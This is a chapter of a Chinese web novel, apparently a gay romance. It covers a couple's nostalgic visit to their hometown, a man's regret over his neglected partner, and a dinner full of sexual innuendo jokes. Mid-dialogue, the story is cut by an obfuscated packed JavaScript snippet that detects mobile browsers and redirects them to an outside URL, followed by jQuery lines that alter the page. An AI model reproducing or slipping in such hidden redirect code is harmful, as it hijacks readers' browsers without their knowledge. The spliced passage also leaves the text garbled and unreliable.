休息了一天后，南景脸上那种透支般的苍白褪去了一些，眼下深重的阴影也淡了些许。
周冉什么也没问，安静地坐在他对面，拿起一片吐司慢吞吞地吃。有些伤口，旁人即使看得见，也无法真正触摸到那份具体的痛楚。就像你没穿过他穿了六年的鞋，没走过他独自徘徊了六年的夜路，哪怕再心疼，再能共情，那磨破脚底的血泡，终究是隔了一层的。
接下来的几天，他们没急着离开淮汐。这个他们一同度过混乱青春期、彼此搀扶着长大的城，在深秋里显出一种褪色的温情。两人像完成一场迟来的仪式，去了很多地方。
他们找到了当年住的那片老旧居民区。巷子更窄了，墙皮剥落得更厉害，那栋灰扑扑的单元楼看上去比记忆里矮小了许多。楼下那家总是飘出油腻饭菜香的小餐馆居然还在，只是招牌换新了。两人站在巷口看了很久，南景的目光在那扇熟悉漆皮斑驳的窗户上停留了格外久的时间。那里曾是他们风雨飘摇时，唯一可以称之为家的方寸之地。
他们去了曾经的二十七中。正是上课时间，校园里很安静，只有隐约的读书声和篮球拍打地面的声音从围墙内传来。他们绕着围墙慢慢走，走过当年放学常去买零食的后门小摊（现在变成了连锁便利店），走过那个总被他们吐槽、却偷偷翻过无数次的矮墙缺口（已经被水泥封死）。
他们还去了物价昂贵、他们当年只能偶尔奢侈一把的商业街，把那些曾经对着橱窗流口水、却因为囊中羞涩只能路过的餐厅、甜品店、奶茶铺……一家家，一样样，吃了个遍。味道或许并没有记忆中想象得那么惊艳，但坐在明亮的店里，看着对方被食物塞得鼓鼓的脸颊，相视一笑时，某种被时间和生活磋磨出的厚茧，似乎在悄然软化。
邵既明没有再出现。是秦朗强行把他带离了淮汐。用秦朗后来在电话里对周冉的话说：“刚把人心捅了个对穿，血还没止住呢，就别戳在人家眼皮子底下当人形伤口展览器了，晦气，也缺德。”周冉对此不置可否，但心里清楚，秦朗这次算是做了件人事。
被秦朗几乎是押送回程的邵既明，重新站在了那栋位于城市核心区别墅门前。密码锁发出轻微的“嘀”声，厚重的门向内开启。门内与他离开时，似乎并无不同。
定时上门的家政人员将一切打理得井井有条，家具纤尘不染，摆放得一丝不苟。没有杂物，没有随手扔下的外套，没有看到一半摊在沙发上的书，没有喝了一半还冒着热气的马克杯。
邵既明慢慢地走进去，脚步在空旷的客厅里发出轻微的回响。他的目光缓缓扫过这个他住了近两年、却在此刻感到无比陌生的空间。
然后，他看见了那些东西。
不，它们一直都在。只是过去，他像穿过空气一样穿过它们，视之为背景，理所当然。
可现在，它们无比清晰地撞进他的视线。
沙发角落，那只浅米色、触感异常柔软的羊绒盖毯，是南景在某年秋末逛街时一眼看中的，说这个颜色衬得客厅很沉静。他当时只是“嗯”了一声，没在意。现在，那毯子以一种等待被使用的姿态搭在那里，边缘有一个小线头，是南景有一次不小心勾到的，他说要找个同色线缝一下，后来……好像就那样了。
茶几上，那个造型古怪的陶土摆件，一只歪着脖子、表情呆滞的猫。是南景和同事去手工陶艺馆团建做的，做得不怎么样，却兴致勃勃地带了回来，说“看，像不像你早上没睡醒的样子？”他当时只觉得幼稚，随手放在了那里。此刻，那只丑猫在射灯下，呆滞的眼神仿佛正无声地望着他。
落地窗边的天堂鸟，叶片舒展，绿意盎然。是南景搬进来不久后买的，说家里需要点生气。他每周会精心擦拭叶片，定期浇水施肥，还专门查了资料调整摆放位置。而他，大概只在这植物长得格外茂盛时，才会偶尔瞥上一眼。
还有书架角落里那几个憨态可掬的木质小动物摆件，是南景逛市集时淘的；电视柜上那个设计简约却温暖的烛台，是南景说冬天点起来会有氛围；开放式厨房岛台上，那两个同款不同色、总是靠在一起的马克杯，是南景买的，说“情侣款”……甚至冰箱上那些已经有些卷边的便利贴，上面是南景清秀的字迹，提醒着他各种琐事。
这个家里，几乎没有一件东西，是未经南景的手挑选、摆放、或赋予意义的。是南景，用无数个他未曾留心的日子，一点一滴，将这套冰冷的房产，填充、温暖、变成了一个“家”。
而他呢？
他回忆起来。
当南景兴奋地向他展示新买的毯子时，他可能在低头回邮件，只给了个模糊的鼻音。
当南景献宝似的拿出那只丑猫陶偶时，他或许正在看财报，淡淡说了句“放那儿吧”。
当南景在雨天细心擦拭天堂鸟叶片时，他可能刚从健身房出来，径直上了楼，没多看一眼。
当南景在便利贴上写下“牛奶快过期了”时，他大概只是扫过，然后忘记。
他给予的，最多是默许。是允许这些东西进入他的空间，允许南景做这些事。但他从未真正“看见”过这些举动背后，南景小心翼翼捧出的、想要共同经营一个家的期待和热忱。他把南景的用心，当成了维持这个空间舒适运行的服务，把南景因他而产生的快乐或失落，当成了不必要的情绪波动。
他一直站在自己的世界里，觉得给出了“关系”和“空间”就是全部。却从未想过，要走进南景用这些琐碎物品和日复一日努力营造出那个名为“我们”的世界里去看一看。
他甚至，用一场始于误会的冰冷堤防，将那个世界隔绝在外。
邵既明缓缓在沙发上坐下，坐的位置恰好是南景平时最喜欢窝着看书的地方。羊绒毯柔软的触感透过单薄的裤料传来。他抬起手，似乎想碰碰那只丑猫陶偶，指尖却在半空中停住。
屋子里温暖如春，灯火通明，昂贵的一切都在它该在的位置。
但他却觉得，前所未有的冷，和空。
原来，有些东西，失去了才看得见形状。
而那形状，是如此清晰，如此……触目惊心。
离开淮汐前，司南约他们吃饭，两人也是欣然前往。
“哎呦喂，我的冉姐，你们是不知道！”司南一见他们进来，立刻从椅子上弹起来，“这家店，巨~~难约！老板娘脾气超怪，一天就做一桌，预约都排到半年后了！我可是动用了陈序那家伙的‘美色’（虽然我觉得主要是他的钱包和死皮赖脸），才硬生生插队抢到今天的位子！”
他今天穿了件oversize的灰色连帽卫衣，衬得脸更小，眼睛圆溜溜的，确实像个还没毕业的大学生，可可爱爱，让人忍不住想揉一把。
周冉环顾四周。这私房菜馆藏在一栋颇有年头的老式居民楼顶层，装修基本就是原汁原味的老房子格局，墙壁甚至还能看出当年石灰的斑驳痕迹，家具是深色的老木头，带着经年累月的温润光泽，窗台上摆着几盆茂盛的绿萝。“啧，有那味儿了，”周冉拉开一张厚重的木椅坐下，指尖拂过桌面清晰的木纹，“像小时候我姥姥家，老旧旧的。”
南景脱下外套，仔细挂在门边的老式衣帽架上，也走过来坐下，鼻翼微微翕动：“嗯，刚刚从楼下走楼梯上来，拐过三楼就闻到香味了，勾得肚子直叫。是炖了很久的肉香，还有……菌子的鲜味？”
“对对对！南景哥你鼻子真灵！”司南猛点头，“这里招牌就是各种功夫菜，炖的、煨的、蒸的，火候足得不得了！老板娘祖上是御厨呢，传下来的手艺！”他顿了顿，有点不好意思地挠挠头，“其实……是陈序那家伙带我来的。他啊，别的不行，找吃的是一绝，整个一‘人形大众点评·尊享付费版’，哪儿有好吃的，门儿清。”
周冉伸长手臂，隔着小方桌，薅了一把司南毛茸茸的脑袋：“哟，这会儿一口一个陈序叫得挺甜啊？前两天是谁哭得一把鼻涕一把泪，在酒吧抱着南景喊我要跟他分手、他是永动机、我屁股遭不住了来着？嗯？是我幻听了吗？”
司南被揉得脑袋晃了晃，也不躲，反而就势蹭了蹭周冉的手心，脸上浮起两朵可疑的红晕“哎呀……冉姐你别取笑我了嘛……我、我那就是……酒后吐真言！夸张了一点点！”他伸出小拇指比了一丢丢，“而且……我倒是想跑，跑得掉吗？他那个人，跟装了GPS似的，我躲到天涯海角他都能把我拎回来……每次被抓回去，遭罪的还不是我……屁股都成两半了……”
南景刚喝了一口店家自酿的米酒，闻言差点呛到，抽了张纸巾擦嘴角：“司南，容我提醒你一句，人类的屁股，生来就是两半的。这是正常生理结构，不是你遭罪的证据。”
“那不一样！”司南猛地抬起头，义愤填膺地比划，“以前是自然的两半！现在是……是饱经风霜、承受了生命不可承受之重的两半！感觉中间那道缝都被……被撑大了！走路都感觉漏风！”他说完，自己也觉得这比喻太扯，又忍不住噗嗤笑出来，肩膀一抖一抖的。
周冉拍着桌子狂笑，差点把桌上的茶杯震倒：“漏风？哈哈哈哈！
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046465|194740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
司南你是什么人间比喻鬼才！陈序知道你在外面这么毁他清誉吗？还饱经风霜，我看你是饱经滋润吧！”
正笑闹着，老板娘端着第一道菜上来了，是个热气腾腾的粗陶钵，里面是浓油赤酱、颤巍巍、香喷喷的——红烧狮子头。足有拳头大小，色泽红亮诱人，一看就炖煮了许久，浓郁的肉香混合着酱油和糖的焦香，瞬间霸占了整个房间。
“来喽！小心烫！”老板娘是个面容和善的微胖阿姨，放下菜，笑眯眯地看了他们一眼，“慢慢吃，后面还有。”
“谢谢阿姨！”三人异口同声。
狮子头太烫，暂时没法下口。司南殷勤地给周冉和南景倒上米酒，自己也捧起杯子抿了一小口，满足地眯起眼：“啊~~活过来了！你们是不知道，陈序那家伙，简直是……是……”他搜肠刮肚想找个合适的比喻。
“是什么？永动机？”周冉夹了一筷子旁边先上来的凉拌黄瓜，嘎嘣脆，揶揄道。
“比永动机还可怕！”司南放下杯子，表情严肃，仿佛在控诉什么惨无人道的暴行，“永动机只是能量守恒一直动，他是……是自适应增强型永动怪兽！会根据我的续航能力自动调节输出功率！我喊累了，他当我助兴；我装死，他当我充电；我求饶……那完了，那简直就是给他上了狂暴buff！”
“噗~”南景这回真没忍住，米酒呛进了气管，咳得眼泪都出来了。周冉一边给他拍背，一边笑得直不起腰：“自、自适应增强型……司南你真是个人才！陈序知道你这么给他进行学术定义吗？这能发篇《论伴侣的可持续性压榨与反压榨策略》的论文了吧？”
司南自己也笑得东倒西歪，夹起一块终于凉了些的狮子头，小心翼翼咬了一口，顿时幸福得眼睛都眯成了缝：“唔……就是这个味道！肥而不腻，酥烂入味！你们快尝尝！”
周冉和南景也各夹了一块。果然入口即化，肉香、酱香、还有隐约的荸荠颗粒带来的清甜爽口，完美融合。周冉边吃边点头：“嗯，不错不错，是对屁股……啊不是，是对胃口的补偿。”
司南幽怨地看了她一眼：“冉姐！吃饭呢！别提那个部位！”他化悲愤为食量，又狠狠咬了一大口狮子头，含糊不清地说，“你们说，人怎么能分裂成这样？找吃的的时候细心体贴，连老板娘养的猫喜欢哪种小鱼干都记得；一到晚上就变身哥斯拉，拆家都不带这么狠的！”
这时，第二道菜上来了，是一盘清炒时蔬，嫩绿的小青菜油亮亮的，看着就清爽。南景夹了一筷子，笑道：“那你就是被哥斯拉攥在手心里的东京市民，一边抱怨楼塌了，一边还得靠他找吃的续命。”
“精辟！”周冉举杯，“来，为东京市民司南同学，和他那提供全方位服务的哥斯拉男友，干一杯！”
司南苦着脸举杯：“这杯我干了，你们随意……但愿今晚哥斯拉心情好，只踩塌两栋楼就收工。”
“两栋楼？”周冉挑眉，“你那饱经风霜的……结构，还能撑两栋？”
司南立刻捂住耳朵：“不听不听！冉姐念经！我要化食欲为力量！”他开始猛攻那盘青菜，仿佛吃的是陈序的“良心”。
南景笑着摇头，给司南碗里夹了块最大的狮子头：“多吃点，补补。”
司南看着碗里那块硕大的狮子头，悲从中来：“南景哥，连你也……我感觉这不是狮子头，这是陈序的拳头，他在警告我多吃点，晚上好有力气‘挨打’。”
后续又上了香气扑鼻的鸡汤煨笋干、酥烂脱骨的梅菜扣肉、鲜掉眉毛的蟹粉豆腐……每一道菜都引来一阵惊叹和更凶残的抢夺（主要是司南和周冉），而吐槽陈序的“暴行”和司南的“血泪史”则成了最佳佐餐笑料。
等到最后一道酒酿圆子甜品上桌时，司南已经撑得瘫在椅子上，摸着小肚子哼哼：“完了完了……吃了这么多，晚上哥斯拉要是发现我储备能源充足，会不会开启地狱模式啊……”
周冉慢悠悠地舀起一颗糯白的小圆子，吹了吹：“怕什么？你就跟他说，哥斯拉大人，今日份的东京已饱受创伤，申请休战一日，修复防御工事。”
南景也吃完了自己那份，擦了擦嘴，给出终极建议：“或者，你可以反客为主，告诉他，今日进补完毕，感觉能量充沛，申请主动出击，更换战场模式。”
司南想象了一下那个画面，猛地打了个寒颤，把头摇得像拨浪鼓：“不不不！那我会死得更快！我还是继续当我的东京市民吧，至少熟悉地形……”
三人对视一眼，同时爆发出大笑。